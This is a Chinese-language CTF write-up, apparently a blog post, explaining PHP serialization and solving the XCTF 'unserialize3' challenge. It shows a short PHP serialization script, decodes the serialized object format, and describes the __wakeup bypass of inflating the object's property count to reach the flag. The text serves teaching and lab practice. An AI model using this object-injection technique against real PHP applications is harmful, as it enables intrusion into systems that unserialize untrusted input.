本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。
一,什么是序列化与反序列化。
序列化(Serialization)与反序列化(Deserialization)是数据处理中的两个重要过程,它们主要涉及到将数据结构或对象状态转换为可存储或传输的格式,以及将这些格式的数据恢复回原始的数据结构或对象状态,在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。
1,序列化。
序列化是指将数据结构或对象状态转换为一系列字节的过程,这些字节可以存储在文件中或通过网络传输。
序列化后的数据是平台无关的,意味着它可以在不同的计算机环境之间交换。
序列化常用于数据的持久化存储(如将用户数据保存到数据库或文件中),或在网络通信中传输对象状态。
2,反序列化。
反序列化是序列化的逆过程,它是指将从文件、数据库或网络接收到的字节序列恢复成原始的数据结构或对象状态。
通过反序列化,可以重新获得对象的属性和行为,以便在程序中继续使用。
反序列化需要知道原始数据结构或对象的类型信息,以便正确重建对象。
二,漏洞利用。
本次使用攻防世界web类题目的unserialize3进行讲解。
攻防世界官网
打开后可以看到:
在题目中,并没用进行序列化,所以我们需要添加一个序列化来将我们的变量变成字符串。
<?php
class xctf //定义一个名为xctf的类。
{
public $flag = '111'; //定义一个共有的值为‘111’类属性falg。
public function __wakeup()
{
exit('bad requests');
}
}
$q = new xctf(); //使用new运算符来实例化xctf类的对象为q。
echo(serialize($q)); //输出被序列化的对象q。
?>
将其放入phpstudy并打开。
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O:表示对象Object。
4:表示对象的字符串长度为4。
“xctf”:表示对象的名称。
1:表示对象里面有一个变量。
s:表示变量的数据类型是string型。
4:表示变量的名称长度为4。
“flag”:表示变量的名称。
s:表示变量类型。
3:表示变量长度。
“111”:是变量值。
可以看到,如果直接将序列化的结果拼接,失败。因为对于这个字符串我们可以看到它有一个变量值("xctf":后面的1)。而对于反序列化来说如果字符串中的变量的数目和真实的数目不一样那么__wakeup会出现错误,我们就造成了反序列化漏洞。
将其改为2后可以看到,成功得到flag。